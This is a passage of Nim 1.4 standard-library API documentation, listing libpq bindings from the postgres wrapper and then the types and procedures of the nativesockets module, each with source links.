paramTypes: POid; paramValues: cstringArray; paramLengths, paramFormats: ptr int32; resultFormat: int32): PPGresult {...}{. cdecl, dynlib: dllName, importc: "PQexecParams".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L229) ``` proc pqprepare(conn: PPGconn; stmtName, query: cstring; nParams: int32; paramTypes: POid): PPGresult {...}{.cdecl, dynlib: dllName, importc: "PQprepare".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L233) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L233) ``` proc pqexecPrepared(conn: PPGconn; stmtName: cstring; nParams: int32; paramValues: cstringArray; paramLengths, paramFormats: ptr int32; resultFormat: int32): PPGresult {...}{. cdecl, dynlib: dllName, importc: "PQexecPrepared".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L235) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L235) ``` proc pqsendQuery(conn: PPGconn; query: cstring): int32 {...}{.cdecl, dynlib: dllName, importc: "PQsendQuery".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L239) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L239) ``` proc pqsendQueryParams(conn: PPGconn; command: cstring; nParams: int32; paramTypes: POid; paramValues: cstringArray; paramLengths, paramFormats: ptr int32; resultFormat: int32): int32 {...}{.cdecl, dynlib: dllName, importc: "PQsendQueryParams".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L241) ``` proc pqsendQueryPrepared(conn: PPGconn; stmtName: cstring; nParams: int32; paramValues: cstringArray; paramLengths, paramFormats: ptr int32; resultFormat: int32): int32 {...}{.cdecl, dynlib: dllName, importc: "PQsendQueryPrepared".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L246) ``` proc pqgetResult(conn: PPGconn): PPGresult {...}{.cdecl, dynlib: dllName, importc: "PQgetResult".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L251) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L251) ``` proc pqisBusy(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQisBusy".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L253) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L253) ``` proc pqconsumeInput(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQconsumeInput".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L255) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L255) ``` proc pqnotifies(conn: PPGconn): PPGNotify {...}{.cdecl, dynlib: dllName, importc: "PQnotifies".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L257) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L257) ``` proc pqputCopyData(conn: PPGconn; buffer: cstring; nbytes: int32): int32 {...}{. cdecl, dynlib: dllName, importc: "PQputCopyData".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L259) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L259) ``` proc pqputCopyEnd(conn: PPGconn; errormsg: cstring): int32 {...}{.cdecl, dynlib: dllName, importc: "PQputCopyEnd".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L261) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L261) ``` proc pqgetCopyData(conn: PPGconn; buffer: cstringArray; async: int32): int32 {...}{. cdecl, dynlib: dllName, importc: "PQgetCopyData".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L263) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L263) ``` proc pqgetline(conn: PPGconn; str: cstring; len: int32): int32 {...}{.cdecl, dynlib: dllName, importc: "PQgetline".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L265) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L265) ``` proc pqputline(conn: PPGconn; str: cstring): int32 {...}{.cdecl, dynlib: dllName, importc: "PQputline".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L267) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L267) ``` proc pqgetlineAsync(conn: PPGconn; buffer: cstring; bufsize: int32): int32 {...}{. cdecl, dynlib: dllName, importc: "PQgetlineAsync".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L269) ``` proc pqputnbytes(conn: PPGconn; buffer: cstring; nbytes: int32): int32 {...}{.cdecl, dynlib: dllName, importc: "PQputnbytes".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L271) ``` proc pqendcopy(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQendcopy".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L273) ``` proc pqsetnonblocking(conn: PPGconn; arg: int32): int32 {...}{.cdecl, dynlib: dllName, importc: "PQsetnonblocking".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L275) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L275) ``` proc pqisnonblocking(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQisnonblocking".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L277) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L277) ``` proc pqflush(conn: PPGconn): int32 {...}{.cdecl, dynlib: dllName, importc: "PQflush".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L279) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L279) ``` proc pqfn(conn: PPGconn; fnid: int32; result_buf, result_len: ptr int32; result_is_int: int32; args: PPQArgBlock; nargs: int32): PPGresult {...}{. cdecl, dynlib: dllName, importc: "PQfn".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L280) ``` proc pqresultStatus(res: PPGresult): ExecStatusType {...}{.cdecl, dynlib: dllName, importc: "PQresultStatus".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L283) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L283) ``` proc pqresStatus(status: ExecStatusType): cstring {...}{.cdecl, dynlib: dllName, importc: "PQresStatus".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L285) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L285) ``` proc pqresultErrorMessage(res: PPGresult): cstring {...}{.cdecl, dynlib: dllName, importc: "PQresultErrorMessage".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L287) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L287) ``` proc pqresultErrorField(res: PPGresult; fieldcode: int32): cstring {...}{.cdecl, dynlib: dllName, importc: "PQresultErrorField".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L289) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L289) ``` proc pqntuples(res: PPGresult): int32 {...}{.cdecl, dynlib: dllName, importc: "PQntuples".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L291) ``` proc pqnfields(res: PPGresult): int32 {...}{.cdecl, dynlib: dllName, importc: "PQnfields".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L293) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L293) ``` proc pqbinaryTuples(res: PPGresult): int32 {...}{.cdecl, dynlib: dllName, importc: "PQbinaryTuples".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L295) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L295) ``` proc pqfname(res: PPGresult; field_num: int32): cstring {...}{.cdecl, dynlib: dllName, importc: "PQfname".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L297) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L297) ``` proc pqfnumber(res: PPGresult; field_name: cstring): int32 {...}{.cdecl, dynlib: dllName, importc: "PQfnumber".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L299) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L299) ``` proc pqftable(res: PPGresult; field_num: int32): Oid {...}{.cdecl, dynlib: dllName, importc: "PQftable".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L301) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L301) ``` proc pqftablecol(res: PPGresult; field_num: int32): int32 {...}{.cdecl, dynlib: dllName, importc: "PQftablecol".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L303) ``` proc pqfformat(res: PPGresult; field_num: int32): int32 {...}{.cdecl, dynlib: dllName, importc: "PQfformat".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L305) ``` proc pqftype(res: PPGresult; field_num: int32): Oid {...}{.cdecl, dynlib: dllName, importc: "PQftype".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L307) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L307) ``` proc pqfsize(res: PPGresult; field_num: int32): int32 {...}{.cdecl, dynlib: dllName, importc: "PQfsize".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L309) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L309) ``` proc pqfmod(res: PPGresult; field_num: int32): int32 {...}{.cdecl, dynlib: dllName, importc: "PQfmod".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L311) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L311) ``` proc pqcmdStatus(res: PPGresult): cstring {...}{.cdecl, dynlib: dllName, importc: "PQcmdStatus".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L313) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L313) ``` proc pqoidStatus(res: PPGresult): cstring {...}{.cdecl, dynlib: dllName, importc: "PQoidStatus".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L315) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L315) ``` proc pqoidValue(res: PPGresult): Oid {...}{.cdecl, dynlib: dllName, importc: "PQoidValue".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L317) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L317) ``` proc pqcmdTuples(res: PPGresult): cstring {...}{.cdecl, dynlib: dllName, importc: "PQcmdTuples".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L319) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L319) ``` proc pqgetvalue(res: PPGresult; tup_num: int32; field_num: int32): cstring {...}{. cdecl, dynlib: dllName, importc: "PQgetvalue".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L321) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L321) ``` proc pqgetlength(res: PPGresult; tup_num: int32; field_num: int32): int32 {...}{. cdecl, dynlib: dllName, importc: "PQgetlength".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L323) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L323) ``` proc pqgetisnull(res: PPGresult; tup_num: int32; field_num: int32): int32 {...}{. cdecl, dynlib: dllName, importc: "PQgetisnull".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L325) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L325) ``` proc pqclear(res: PPGresult) {...}{.cdecl, dynlib: dllName, importc: "PQclear".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L327) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L327) ``` proc pqfreemem(p: pointer) {...}{.cdecl, dynlib: dllName, importc: "PQfreemem".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L328) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L328) ``` proc pqmakeEmptyPGresult(conn: PPGconn; status: ExecStatusType): PPGresult {...}{. cdecl, dynlib: dllName, importc: "PQmakeEmptyPGresult".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L329) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L329) ``` proc pqescapeString(till, from: cstring; len: int): int {...}{.cdecl, dynlib: dllName, importc: "PQescapeString".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L331) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L331) ``` proc pqescapeBytea(bintext: cstring; binlen: int; bytealen: var int): cstring {...}{. cdecl, dynlib: dllName, importc: "PQescapeBytea".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L333) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L333) ``` proc pqunescapeBytea(strtext: cstring; retbuflen: var int): cstring {...}{.cdecl, dynlib: dllName, importc: "PQunescapeBytea".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L335) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L335) ``` proc pqprint(fout: File; res: PPGresult; ps: PPQprintOpt) {...}{.cdecl, dynlib: dllName, importc: "PQprint".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L337) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L337) ``` proc pqdisplayTuples(res: PPGresult; fp: File; fillAlign: int32; fieldSep: cstring; printHeader: int32; quiet: int32) {...}{. cdecl, dynlib: dllName, importc: "PQdisplayTuples".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L339) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L339) ``` proc pqprintTuples(res: PPGresult; fout: File; printAttName: int32; terseOutput: int32; width: int32) {...}{.cdecl, dynlib: dllName, importc: "PQprintTuples".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L342) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L342) ``` proc lo_open(conn: PPGconn; lobjId: Oid; mode: int32): int32 {...}{.cdecl, dynlib: dllName, importc: "lo_open".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L345) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L345) ``` proc lo_close(conn: PPGconn; fd: int32): int32 {...}{.cdecl, dynlib: dllName, importc: "lo_close".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L347) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L347) ``` proc lo_read(conn: PPGconn; fd: int32; buf: cstring; length: int): int32 {...}{. cdecl, dynlib: dllName, importc: "lo_read".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L349) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L349) ``` proc lo_write(conn: PPGconn; fd: int32; buf: cstring; length: int): int32 {...}{. cdecl, dynlib: dllName, importc: "lo_write".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L351) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L351) ``` proc lo_lseek(conn: PPGconn; fd: int32; offset: int32; whence: int32): int32 {...}{. cdecl, dynlib: dllName, importc: "lo_lseek".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L353) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L353) ``` proc lo_creat(conn: PPGconn; mode: int32): Oid {...}{.cdecl, dynlib: dllName, importc: "lo_creat".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L355) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L355) ``` proc lo_tell(conn: PPGconn; fd: int32): int32 {...}{.cdecl, dynlib: dllName, importc: "lo_tell".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L357) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L357) ``` proc lo_unlink(conn: PPGconn; lobjId: Oid): int32 {...}{.cdecl, dynlib: dllName, importc: "lo_unlink".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L359) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L359) ``` proc lo_import(conn: PPGconn; filename: cstring): Oid {...}{.cdecl, dynlib: dllName, importc: "lo_import".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L361) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L361) ``` proc lo_export(conn: PPGconn; lobjId: Oid; filename: cstring): int32 {...}{.cdecl, dynlib: dllName, importc: "lo_export".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L363) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L363) ``` proc pqmblen(s: cstring; encoding: int32): int32 {...}{.cdecl, dynlib: dllName, importc: "PQmblen".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L365) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L365) ``` proc pqenv2encoding(): int32 {...}{.cdecl, dynlib: dllName, importc: "PQenv2encoding".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L367) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L367) ``` proc pqsetdb(M_PGHOST, M_PGPORT, M_PGOPT, M_PGTTY, M_DBNAME: cstring): PPGconn {...}{. raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/postgres.nim#L368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/postgres.nim#L368)
programming_docs
nim nativesockets nativesockets ============= This module implements a low-level cross-platform sockets interface. Look at the `net` module for the higher-level version. Imports ------- <os>, <options>, <since>, <winlean> Types ----- ``` Port = distinct uint16 ``` port type [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L52) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L52) ``` Domain = enum AF_UNSPEC = 0, ## unspecified domain (can be detected automatically by ## some procedures, such as getaddrinfo) AF_UNIX = 1, ## for local socket (using a file). Unsupported on Windows. AF_INET = 2, ## for network protocol IPv4 or AF_INET6 = 23 ``` domain, which specifies the protocol family of the created socket. Other domains than those that are listed here are unsupported. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L54) ``` SockType = enum SOCK_STREAM = 1, ## reliable stream-oriented service or Stream Sockets SOCK_DGRAM = 2, ## datagram service or Datagram Sockets SOCK_RAW = 3, ## raw protocols atop the network layer. SOCK_SEQPACKET = 5 ## reliable sequenced packet service ``` second argument to `socket` proc [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L64) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L64) ``` Protocol = enum IPPROTO_TCP = 6, ## Transmission control protocol. IPPROTO_UDP = 17, ## User datagram protocol. IPPROTO_IP, ## Internet protocol. IPPROTO_IPV6, ## Internet Protocol Version 6. IPPROTO_RAW, ## Raw IP Packets Protocol. Unsupported on Windows. IPPROTO_ICMP, ## Internet Control message protocol. IPPROTO_ICMPV6 ## Internet Control message protocol for IPv6. ``` third argument to `socket` proc [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L70) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L70) ``` Servent = object name*: string aliases*: seq[string] port*: Port proto*: string ``` information about a service [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L79) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L79) ``` Hostent = object name*: string aliases*: seq[string] addrtype*: Domain length*: int addrList*: seq[string] ``` information about a given host [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L85) Lets ---- ``` osInvalidSocket = INVALID_SOCKET ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L94) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L94) Consts ------ ``` IOCPARM_MASK = 127 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L97) ``` IOC_IN = -2147483648 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L98) ``` FIONBIO = -2147195266'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L99) Procs ----- ``` proc ioctlsocket(s: SocketHandle; cmd: clong; argptr: ptr clong): cint {...}{. stdcall, importc: "ioctlsocket", dynlib: "ws2_32.dll".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L104) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L104) ``` proc `==`(a, b: Port): bool {...}{.borrow.} ``` `==` for ports. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L114) ``` proc `$`(p: Port): string {...}{.borrow.} ``` Returns the port number as a string [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L117) ``` proc toInt(domain: Domain): cint {...}{.raises: [], tags: [].} ``` Converts the Domain enum to a platform-dependent `cint`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L164) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L164) ``` proc toKnownDomain(family: cint): Option[Domain] {...}{.raises: [], tags: [].} ``` Converts the platform-dependent `cint` to the Domain or none(), if the `cint` is not known. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L167) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L167) ``` proc toInt(typ: SockType): cint {...}{.raises: [], tags: [].} ``` Converts the SockType enum to a platform-dependent `cint`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L175) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L175) ``` proc toInt(p: Protocol): cint {...}{.raises: [], tags: [].} ``` Converts the Protocol enum to a platform-dependent `cint`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L178) ``` proc toSockType(protocol: Protocol): SockType {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L195) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L195) ``` proc getProtoByName(name: string): int {...}{.raises: [OSError], tags: [].} ``` Returns a protocol code from the database that matches the protocol `name`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L204) ``` proc close(socket: SocketHandle) {...}{.raises: [], tags: [].} ``` Closes a socket. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L216) ``` proc setInheritable(s: SocketHandle; inheritable: bool): bool {...}{.inline, raises: [], tags: [].} ``` Set whether a socket is inheritable by child processes. Returns `true` on success. This function is not implemented on all platform, test for availability with `declared() <system.html#declared,untyped>`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L226) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L226) ``` proc createNativeSocket(domain: cint; sockType: cint; protocol: cint; inheritable: bool = defined(nimInheritHandles)): SocketHandle {...}{. raises: [], tags: [].} ``` Creates a new socket; returns `osInvalidSocket` if an error occurs. `inheritable` decides if the resulting SocketHandle can be inherited by child processes. Use this overload if one of the enums specified above does not contain what you need. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L234) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L234) ``` proc createNativeSocket(domain: Domain = AF_INET; sockType: SockType = SOCK_STREAM; protocol: Protocol = IPPROTO_TCP; inheritable: bool = defined(nimInheritHandles)): SocketHandle {...}{. raises: [], tags: [].} ``` Creates a new socket; returns `osInvalidSocket` if an error occurs. `inheritable` decides if the resulting SocketHandle can be inherited by child processes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L254) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L254) ``` proc bindAddr(socket: SocketHandle; name: ptr SockAddr; namelen: SockLen): cint {...}{. raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L264) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L264) ``` proc listen(socket: SocketHandle; backlog = SOMAXCONN): cint {...}{. tags: [ReadIOEffect], raises: [].} ``` Marks `socket` as accepting connections. `Backlog` specifies the maximum length of the queue of pending connections. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L268) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L268) ``` proc getAddrInfo(address: string; port: Port; domain: Domain = AF_INET; sockType: SockType = SOCK_STREAM; protocol: Protocol = IPPROTO_TCP): ptr AddrInfo 